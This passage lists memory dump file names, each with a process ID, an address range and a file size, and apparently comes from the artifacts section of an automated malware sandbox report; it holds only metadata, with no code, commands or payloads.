memory/2084-400-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2084-404-0x00000000046E2000-0x00000000046E3000-memory.dmpFilesize
4KB
-
memory/2084-406-0x00000000046E4000-0x00000000046E6000-memory.dmpFilesize
8KB
-
memory/2084-401-0x0000000001F20000-0x0000000001F5E000-memory.dmpFilesize
248KB
-
memory/2096-245-0x0000000000000000-mapping.dmp
-
memory/2104-130-0x0000000000000000-mapping.dmp
-
memory/2104-132-0x00000000730E0000-0x0000000073283000-memory.dmpFilesize
1.6MB
-
memory/2132-133-0x000000013FBE8270-mapping.dmp
-
memory/2148-213-0x0000000000000000-mapping.dmp
-
memory/2192-217-0x0000000000000000-mapping.dmp
-
memory/2204-145-0x0000000000140000-0x0000000000141000-memory.dmpFilesize
4KB
-
memory/2204-153-0x000000001AD50000-0x000000001AD52000-memory.dmpFilesize
8KB
-
memory/2204-147-0x0000000000390000-0x0000000000391000-memory.dmpFilesize
4KB
-
memory/2204-142-0x0000000001140000-0x0000000001141000-memory.dmpFilesize
4KB
-
memory/2204-146-0x0000000000350000-0x0000000000383000-memory.dmpFilesize
204KB
-
memory/2204-138-0x0000000000000000-mapping.dmp
-
memory/2204-139-0x000007FEEE430000-0x000007FEEEE1C000-memory.dmpFilesize
9.9MB
-
memory/2264-408-0x0000000003160000-0x0000000003171000-memory.dmpFilesize
68KB
-
memory/2264-410-0x0000000000220000-0x000000000028B000-memory.dmpFilesize
428KB
-
memory/2264-411-0x0000000000400000-0x000000000046C000-memory.dmpFilesize
432KB
-
memory/2284-223-0x0000000000000000-mapping.dmp
-
memory/2332-226-0x0000000000000000-mapping.dmp
-
memory/2332-227-0x0000000002EB0000-0x0000000002EC1000-memory.dmpFilesize
68KB
-
memory/2332-229-0x0000000002EB0000-0x0000000002FCA000-memory.dmpFilesize
1.1MB
-
memory/2332-230-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/2352-366-0x0000000000400000-0x0000000000897000-memory.dmpFilesize
4.6MB
-
memory/2380-324-0x0000000000400000-0x0000000000C1B000-memory.dmpFilesize
8.1MB
-
memory/2380-326-0x00000000035D0000-0x0000000003DD2000-memory.dmpFilesize
8.0MB
-
memory/2380-319-0x00000000035D0000-0x00000000035E1000-memory.dmpFilesize
68KB
-
memory/2380-322-0x0000000000400000-0x0000000000C1B000-memory.dmpFilesize
8.1MB
-
memory/2380-407-0x0000000004980000-0x0000000004981000-memory.dmpFilesize
4KB
-
memory/2380-375-0x00000000000F0000-0x00000000000F1000-memory.dmpFilesize
4KB
-
memory/2380-374-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2404-219-0x0000000002F10000-0x0000000002F21000-memory.dmpFilesize
68KB
-
memory/2404-218-0x0000000000000000-mapping.dmp
-
memory/2404-221-0x0000000000020000-0x000000000002A000-memory.dmpFilesize
40KB
-
memory/2404-222-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
-
memory/2408-144-0x000007FEF0FB0000-0x000007FEF194D000-memory.dmpFilesize
9.6MB
-
memory/2408-140-0x0000000000000000-mapping.dmp
-
memory/2408-141-0x000007FEF0FB0000-0x000007FEF194D000-memory.dmpFilesize
9.6MB
-
memory/2408-152-0x0000000000A10000-0x0000000000A12000-memory.dmpFilesize
8KB
-
memory/2412-317-0x0000000005910000-0x0000000005911000-memory.dmpFilesize
4KB
-
memory/2412-321-0x000000007EF20000-0x000000007EF21000-memory.dmpFilesize
4KB
-
memory/2412-339-0x0000000006550000-0x0000000006551000-memory.dmpFilesize
4KB
-
memory/2412-323-0x0000000005A90000-0x0000000005A91000-memory.dmpFilesize
4KB
-
memory/2412-309-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2412-314-0x0000000004B12000-0x0000000004B13000-memory.dmpFilesize
4KB
-
memory/2412-313-0x0000000004B10000-0x0000000004B11000-memory.dmpFilesize
4KB
-
memory/2412-312-0x0000000002860000-0x0000000002861000-memory.dmpFilesize
4KB
-
memory/2412-315-0x0000000005510000-0x0000000005511000-memory.dmpFilesize
4KB
-
memory/2412-341-0x0000000006560000-0x0000000006561000-memory.dmpFilesize
4KB
-
memory/2420-198-0x0000000000430000-0x0000000000431000-memory.dmpFilesize
4KB
-
memory/2420-197-0x0000000000750000-0x0000000000781000-memory.dmpFilesize
196KB
-
memory/2420-204-0x00000000020A0000-0x00000000020A1000-memory.dmpFilesize
4KB
-
memory/2420-196-0x00000000002E0000-0x00000000002E1000-memory.dmpFilesize
4KB
-
memory/2420-170-0x00000000001D0000-0x00000000001D1000-memory.dmpFilesize
4KB
-
memory/2420-156-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2420-154-0x0000000000000000-mapping.dmp
-
memory/2428-155-0x0000000000000000-mapping.dmp
-
memory/2428-157-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2428-177-0x00000000007F0000-0x00000000007FD000-memory.dmpFilesize
52KB
-
memory/2428-179-0x0000000000800000-0x0000000000801000-memory.dmpFilesize
4KB
-
memory/2428-175-0x0000000000470000-0x0000000000471000-memory.dmpFilesize
4KB
-
memory/2428-171-0x0000000001150000-0x0000000001151000-memory.dmpFilesize
4KB
-
memory/2448-238-0x0000000000000000-mapping.dmp
-
memory/2536-165-0x0000000000000000-mapping.dmp
-
memory/2584-162-0x0000000000000000-mapping.dmp
-
memory/2604-240-0x0000000000000000-mapping.dmp
-
memory/2608-176-0x00000000002F0000-0x00000000002F6000-memory.dmpFilesize
24KB
-
memory/2608-161-0x0000000000000000-mapping.dmp
-
memory/2608-172-0x00000000012C0000-0x00000000012C1000-memory.dmpFilesize
4KB
-
memory/2608-167-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2608-178-0x00000000047E0000-0x00000000047E1000-memory.dmpFilesize
4KB
-
memory/2632-163-0x0000000002100000-0x0000000002102000-memory.dmpFilesize
8KB
-
memory/2632-158-0x0000000000000000-mapping.dmp
-
memory/2632-159-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmpFilesize
9.6MB
-
memory/2632-160-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmpFilesize
9.6MB
-
memory/2640-168-0x0000000000000000-mapping.dmp
-
memory/2668-423-0x0000000000400000-0x0000000000492000-memory.dmpFilesize
584KB
-
memory/2668-420-0x0000000002F10000-0x0000000002F21000-memory.dmpFilesize
68KB
-
memory/2688-231-0x0000000000000000-mapping.dmp
-
memory/2696-306-0x0000000000400000-0x000000000048C000-memory.dmpFilesize
560KB
-
memory/2696-303-0x0000000000400000-0x000000000048C000-memory.dmpFilesize
560KB
-
memory/2724-191-0x00000000049C0000-0x00000000049C1000-memory.dmpFilesize
4KB
-
memory/2724-181-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/2724-180-0x0000000000000000-mapping.dmp
-
memory/2724-182-0x0000000001040000-0x0000000001041000-memory.dmpFilesize
4KB
-
memory/2844-192-0x0000000000570000-0x0000000000571000-memory.dmpFilesize
4KB
-
memory/2844-188-0x0000000001F10000-0x0000000001F21000-memory.dmpFilesize
68KB
-
memory/2844-187-0x0000000000000000-mapping.dmp
-
memory/2884-190-0x0000000000000000-mapping.dmp
-
memory/2888-136-0x000000013FF38270-mapping.dmp
-
memory/2908-235-0x0000000000000000-mapping.dmp
-
memory/2948-241-0x0000000000000000-mapping.dmp
-
memory/2984-246-0x0000000002130000-0x0000000002141000-memory.dmpFilesize
68KB
-
memory/2984-242-0x0000000000000000-mapping.dmp
-
memory/2984-250-0x0000000000400000-0x0000000000432000-memory.dmpFilesize
200KB
-
memory/3004-212-0x000000000C950000-0x000000000C951000-memory.dmpFilesize
4KB
-
memory/3004-193-0x0000000000000000-mapping.dmp
-
memory/3024-383-0x0000000000400000-0x000000000043F000-memory.dmpFilesize
252KB
-
memory/3024-386-0x0000000006F23000-0x0000000006F24000-memory.dmpFilesize
4KB
-
memory/3024-385-0x0000000006F22000-0x0000000006F23000-memory.dmpFilesize
4KB
-
memory/3024-384-0x0000000006F21000-0x0000000006F22000-memory.dmpFilesize
4KB
-
memory/3024-381-0x00000000003A0000-0x00000000003DC000-memory.dmpFilesize
240KB
-
memory/3024-382-0x0000000004840000-0x000000000486C000-memory.dmpFilesize
176KB
-
memory/3024-380-0x0000000002E50000-0x0000000002E7D000-memory.dmpFilesize
180KB
-
memory/3024-379-0x0000000072970000-0x000000007305E000-memory.dmpFilesize
6.9MB
-
memory/3024-378-0x00000000045C0000-0x00000000045D1000-memory.dmpFilesize
68KB
-
memory/3024-377-0x0000000002E90000-0x0000000002EA1000-memory.dmpFilesize
68KB
-
memory/3024-391-0x0000000006F24000-0x0000000006F26000-memory.dmpFilesize
8KB
-
memory/3028-276-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
-
memory/3056-350-0x0000000003530000-0x0000000003541000-memory.dmpFilesize
68KB